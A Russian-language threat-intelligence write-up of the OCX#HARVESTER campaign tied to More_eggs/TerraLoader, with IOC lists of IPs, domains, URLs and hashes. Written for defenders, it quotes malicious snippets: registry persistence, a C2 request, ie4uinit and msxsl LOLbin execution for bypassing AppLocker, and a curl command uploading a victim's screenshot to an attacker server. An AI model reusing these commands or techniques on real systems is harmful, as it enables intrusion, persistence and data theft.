OCX#HARVESTER Campaign IOCs

security IOC

Команда исследования угроз Securonix (STR) недавно заметила новую атакующую кампанию, отслеживаемую Securonix как OCX#HARVESTER. Некоторые из вредоносных полезных нагрузок, используемых в рамках наблюдаемой кампании атак, похоже, связаны с вредоносными полезными нагрузками More_eggs. Названия некоторых собранных образцов, а также некоторые изображения-приманки позволяют предположить, что цели этой кампании прямо или косвенно связаны с финансовым сектором, особенно с теми, кто занимается криптовалютами.

Полезные нагрузки в этой атакующей кампании были замечены STR в дикой природе в основном в период с декабря 2022 года по март этого года. В рамках этой кампании злоумышленники атаковали и использовали множество жертв.

OCX#HARVESTER

Как и в случае большинства внешних атак, основным способом доставки является фишинговая электронная почта, содержащая вредоносный сжатый zip-файл. Файл вложения письма, проанализированный нашей командой (screenshots-9201.jpg.zip), содержит два файла быстрого доступа "Screenshot-9501.JPG.lnk" и "Screenshot-9502.JPG.lnk", замаскированные под jpeg. Этот конкретный метод заманивания довольно распространен и недавно был замечен в ходе кампании атаки PY#RATION, обнаруженной в начале этого года.

Если немного углубиться в начальное выполнение кода из двух LNK-файлов, файл ярлыка ссылается на "C:\Windows\System32\cmd.exe" вместе с большим куском обфусцированной командной строки.

Два изображения-приманки имеют вид обычных иконок, поскольку они берутся из файла "Windows Image Resource" (imageres.dll), который содержит библиотеку иконок для файлов и папок.

При более внимательном рассмотрении двух .lnk-файлов можно заметить очевидную и явную обфускацию CMD, переданную в качестве параметров командной строки вместе с вызовом cmd.exe, как показано на рисунке ниже.

Обфусцированная командная строка выполняет несколько функций, которые создают условия для выполнения прокси двоичного файла. Для этого используется распространенная техника LOLbin, которая использует двоичный файл Windows Ie4uinit.exe. Во-первых, он копирует этот файл в каталог %tmp%\. Затем он создает файл в том же каталоге под названием ieuinit.inf. Большая часть командной строки заполняет этот файл параметрами, необходимыми для выполнения следующего этапа атаки.

В целом, атака Ie4uinit.exe LOLbin работает путем копирования исполняемого файла Ie4uinit.exe из каталога C:\Windows\System32\ и помещения его в каталог, доступный для записи, выбранный злоумышленником. В данном случае это каталог %TMP% пользователя. По умолчанию это обычно C:\Users\user\Appdata\Local\Temp\.

После копирования в той же директории создается новый файл под названием ieuinit.inf. Для того чтобы атака сработала, этот файл содержит директиву, которая вызывает секцию под названием "DefaultInstall.Windows7". Затем инициируется [F07FD], где находится ссылка на полезную нагрузку scrobj.dll/SCT (в нашем случае robots.php).

Следующим шагом является выполнение перемещенного (или в некоторых случаях перемещенного и переименованного) бинарного файла Ie4uinit.exe и необходимой командной строки. В нашем случае был использован START /min вместе с вызовом wmic process call create:

start /MIN wmic process call create "%tmp%\ie4uinit.exe -basesettings"

При выполнении вышеуказанной команды процесс ie4uinit.exe считывает содержимое локального файла ieuinit.inf. Ссылающаяся полезная нагрузка scrobj.dll/SCT будет загружена, и все встроенные сценарии будут выполнены в системе.

Далее рассмотрим содержимое файла robots.php, что приведет нас ко второму этапу атаки.

На этом этапе атаки злоумышленники добились выполнения кода и хотят продвинуться вперед. Именно здесь TerraLoader вступает в игру в цепочке атак More_eggs. Как и в прошлом, TerraLoader представляет собой сильно обфусцированный загрузчик JavaScript, который позволяет осуществлять командование и контроль (C2) на пораженном узле.

В данном конкретном примере уровень обфускации довольно экстремальный. Как видно на рисунке выше, сценарий полон подстановок символов, случайно сгенерированных переменных и разбитых на части строк.

После деобфускации сценария можно лучше понять его возможности. Некоторые из них включают:

Постоянство: Создать плацдарм в реестре:

ActXobj1.RegWrite("HKCU\\\Environment\\UserInitMprLogonScript", 'cscript /b /e:jscript "%APPDATA%\\\\Microsoft\\\' + PersFileName + '"');

Установите соединение с сервером C2:

ConnectionLite.open("GET", "hxxp://95.179.186[.]167/Writer.php?deploy=" + CommandToRun, false);

Выполнение команды с помощью Msxsl.exe:

CommandToRun = 'cmd /c start /min "" "' + MsxslPath + '" "' + DropperPath + LoaderFileName + '"' + ''' + DropperPath + LoaderFileName + '"';

Сценарий загрузчика переключает передачу и начинает работать в каталоге %APPDATA%\Microsoft\. Создаются два новых файла: "ZUW0Y1NVRZ6LIIHFO2AQNHTX.txt" и "QVB3WZXVQG6G8O7V.txt". Оба этих файла служат уникальной цели и снова содержат сильно обфусцированный код JavaScript.

var DropperPath = WScriptShell.ExpandEnvironmentStrings("%appdata%");
var DropperPath = DropperPath + "\\\Microsoft\\\";
var LoaderFileName = "ZUW0Y1NVRZ6LIIHFO2AQNHTX.txt";
var PersFileName = "QVB3WZXVQG6G8O7V.txt";
var MsxslPath = DropperPath + gVKMduVwicY669(KngnfjMhu502, JYUyEnBGkSSrXUy905);

Для выполнения дальнейших стейджеров и поддержания постоянства используется двоичный файл Windows msxsl.exe для обеспечения успешного выполнения сценария. Этот конкретный LOLBin позволяет коду обходить ограничения белых списков приложений, такие как AppLocker. Код, такой как JavaScript, VBscript или JScript, содержащийся внутри ожидаемого файла .xsl (или любого файла в формате XML), может быть выполнен независимо от ограничений приложения.

Как и в предыдущем примере LOLbin с использованием ie4uinit.exe, msxsl.exe выполняется из контролируемого злоумышленником каталога в %APPDATA%\Microsoft\.

По умолчанию msxsl.exe не существует в большинстве операционных систем Windows. Однако, поскольку двоичный файл очень легкий, весь двоичный файл msxsl.exe компилируется из необработанных шестнадцатеричных значений, содержащихся в скрипте robots.php.

Записанный двоичный файл msxsl.exe, размером всего 24 КБ, прошел проверку целостности и имеет цифровую подпись Microsoft Corporation. Этот файл, а также "ZUW0Y1NVRZ6LIIHFO2AQNHTX.txt" и "QVB3WZXVQG6G8O7V.txt" записываются на диск при выполнении robots.php.

Как вы увидите, эта техника LOLbin будет использоваться довольно часто на следующем этапе атаки.

Эта фаза атаки начинается с выполнения robots.php с помощью следующей команды:

  • msxsl.exe
  • "C:\Users\redacted\AppData\Roaming\Microsoft\ZUW0Y1NVRZ6LIIHFO2AQNHTX.txt"
  • "C:\Users\redacted\AppData\Roaming\Microsoft\ZUW0Y1NVRZ6LIIHFO2AQNHTX.txt"

Этот файл, в соответствии с текущей тенденцией, также сильно обфусцирован в попытке обойти системы обнаружения. Методы обфускации в этом конкретном файле очень похожи на те, что мы видели в robots.php.

Уделив время деобфускации этого файла, мы получаем некоторое представление о возможностях этого стейджера.

Связь C2 устанавливается путем создания нового объекта ActiveXObject и одного из нескольких объектов XMLHTTP для установления соединения с удаленным сервером злоумышленника. В данном конкретном примере мы наблюдали использование следующего URL:

  • hxxps://telemistry[.]net/reg.php?g=
  • hxxps://telemistry[.]net/get.php?g=

Соединения устанавливаются с помощью GET-запроса, который отправляется вместе с некоторой общей информацией о хосте, такой как имя пользователя, имя компьютера и домен.

Команды и другие процессы также могут быть выполнены с помощью инфраструктуры Windows Management Instrumentation (WMI).

В попытке избежать эвристического обнаружения и в качестве меры защиты от отладки вредоносное ПО может включать длительное время сна в некоторые или все свои функции. Данный штамм использует отдельную функцию, которая выполняет следующую команду:

typeperf.exe "\\\System\\\Processor Queue Length" -si {время сна в секундах} -sc 1

Использование этой функции было замечено и в предыдущих версиях Terraloader.

Для поддержания постоянства на хосте скрипт использовал msxsl.exe LOLbin для повторного запуска этого конкретного файла скрипта и затем переходил в спящий режим (используя метод typerf.exe) каждые 120 секунд. Это гарантирует, что связь C2 будет восстановлена во время отключения интернета или потенциальных сбоев приложения.

В дополнение к некоторым из рассмотренных функций, скрипт содержит дополнительные функции, такие как:

  • чтение файлов
  • запись файла
  • Выполнение команды (с помощью WScript.Shell)
  • перечисление AV

Этот сценарий в основном предназначен для поддержания постоянства на хосте. Если вы помните, на него ссылается модификация реестра "HKCU\\\Environment\\\UserInitMprLogonScript". Как и все остальные, которые мы проанализировали, он также сильно обфусцирован, однако после перевода в удобочитаемый вид он становится немного более понятным (рисунок x)

Этот простой сценарий использует "Wscript.shell" для использования msxsl.exe LOLbin для выполнения содержимого основного сценария: ZUW0Y1NVRZ6LIIHFO2AQNHTX.txt.

следующий этап атаки начинается с загрузки и выполнения нескольких различных файлов OCX#HARVESTER. Они размещаются в различных каталогах системы после загрузки с помощью curl. Затем программа Regsvr32.exe используется для регистрации полезной нагрузки DLL.

Мы узнаем несколько вещей, просто изучив ссылку на файл базы данных программы (PDB), на который ссылается каждый из файлов OCX#HARVESTER. Во-первых, он был скомпилирован учетной записью пользователя "David",

хотя это мало что нам говорит, кроме того, что все эти файлы были скомпилированы одним и тем же человеком. Структура папок похожа на структуру папок Visual Studio, и каждый из них был скомпилирован для 64-битной архитектуры процессора.

Ссылающийся файл PDB: C:\Users\David\source\repos\Rev\x64\Release\Rev.pdb

Этот двоичный файл был самым маленьким и составлял всего 177 КБ. Цель этого двоичного файла довольно проста, так как он просто захватывает изображения рабочего стола пользователя.

После захвата изображение сохраняется в "C:\Programdata\test.png" и загружается на C2-сервер злоумышленника с помощью curl. В нашем случае мы наблюдали следующую команду:

"c:\windows\system32\cmd.exe" /v /c "curl -f "image=@c:\programdata\test.png" http://193.149.185.229/sas.php?name=REDACTED_HOSTNAME"

Обратите внимание, что имя хоста машины-жертвы добавляется к php-параметру "name".

Бинарный файл Foonet.OCX#HARVESTER и bonet.OCX#HARVESTER также был идентифицирован как 64-битный исполняемый PE-файл, маскирующийся под DLL-файл. Как и другие, этот двоичный файл был скомпилирован в C++ с помощью Visual Studio. Оба файла имели одинаковый размер и при анализе выдавали схожие данные.

Назначение этих двоичных файлов в основном неизвестно. Однако мы заметили, что он устанавливает внешнее соединение с 193.149.185[.]229 через порт 1437. Сам двоичный файл сильно обфусцирован, что затрудняет анализ, однако, основываясь на высокоуровневом анализе Foonet.OCX#HARVESTER, мы смогли подтвердить наличие жестко закодированных IP и порта.

Этот конкретный файл OCX#HARVESTER был загружен злоумышленниками, но остался практически неиспользованным, и кроме записи веб-запроса "hxxp://193.149.187[.]170/webdav/Tunner.OCX#HARVESTER" не было никаких признаков его использования на каком-либо этапе атаки.

Файл с оригинальным названием "MathATL.dll" имеет немного меньший размер, чем остальные, - 271 КБ, а также обладает свойствами контр-анализа и анти-отладки.

После более глубокого анализа файла все стало немного интереснее. Внутри скрывается большой блок текста, закодированный XOR. Дальнейший анализ показал, что этот файл, вероятно, является маяком Cobalt Strike, который подключается с помощью каталога "ukmedia.store/static-directory/html.mp3", общей структуры каталогов и даже расширения файлов для полезной нагрузки Cobalt Strike Arsenal.

Пользовательский агент, найденный в шеллкоде, обычно используется для полезных нагрузок Cobalt Strike по умолчанию, которые злоумышленники так и не удосужились изменить.

User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202"

Indicators of Compromise

IPv4

  • 172.86.75.75
  • 193.149.185.229
  • 193.149.187.170
  • 95.179.170.76
  • 95.179.180.224
  • 95.179.186.167
  • 95.179.201.171

IPv4 Port Combinations

  • 193.149.185.229:1437

Domains

  • telemistry.net
  • ukmedia.store
  • windowsupdatebg.s.llnwi.net

URLs

  • http://172.86.75.75/robots.php
  • http://193.149.185.229/api/SharpChrome.exe
  • http://193.149.185.229/sas.php
  • http://95.179.180.224/robots.php
  • http://95.179.186.167/Writer.php
  • http://95.179.201.171/robots.php
  • http://ukmedia.store/static-directory/html.mp3

SHA256

  • 13140291db39218c897d2ff960c1ef4ec3107bd239bc04ba8a218ad3b4dbd72f
  • 13275de2ee18d0b66772dec7ad5d1f2eb16875de8b33802793bcf4a5b41c7432
  • 1c9cd406024034cd69ac881801085b21864ec4148dd9cab6498cbd7ca77408bc
  • 1e8c661f7496120d66aaca02def8c670f1bd656f0e9f4aefb5991bf214a48ffc
  • 36bf06bde63af8cdd673444edf64a323195fe962b3256e0269cdd7a89a7e2ae1
  • 47e5232576e2eed33a13bca998c93e7aee57711f588b17f75367f7e58ea09ad9
  • 494839430932a97030a7163d636d2365d715ff517ba912f2afd0c557494d077a
  • 4ba964764210607f3bab884a14afa0b917891cff969a309bbbc12d3321386352
  • 5eee027839ce7f97976af005c04ff5d22316eacd2cd880b95f6bdb09ee84fd5c
  • 631f92c9147733acf3faa02586cd2a6cda673ec83c24252fccda1982cf3e96f6
  • 6e90de5bf00945252fcfc3746446b5d1037af59bed67e6e33de1a5dae9616bf9
  • 7358d711f27086a21ce7485b1f1a570f0556f2c4096e22cac94a4b5d86842194
  • 7ac84bf51b9db169b1282bb40daae2d38bb2fa5acc02b590198815a79cee1dbf
  • b9c08b08d5a97c93db572fe67fcee129a41235182d9a6be8164058da0969ece9
  • bfe048ba91218019b64ab8477dad3ba6033cbc584f0d751d2866023b2b546c2e
  • D496394abba570aa86abb4238cfa03762e3ccdb5c14920e3669ec2c1bb06321b
  • d95e19341fa4af9a405f3a34fc3788dd9b74a9d6ab0f5cbe63cca5271ce63e05
  • debead9e8e3d106991e38d2057931265b3a08d4746c08255df0a4bf986327215

 

Добавить комментарий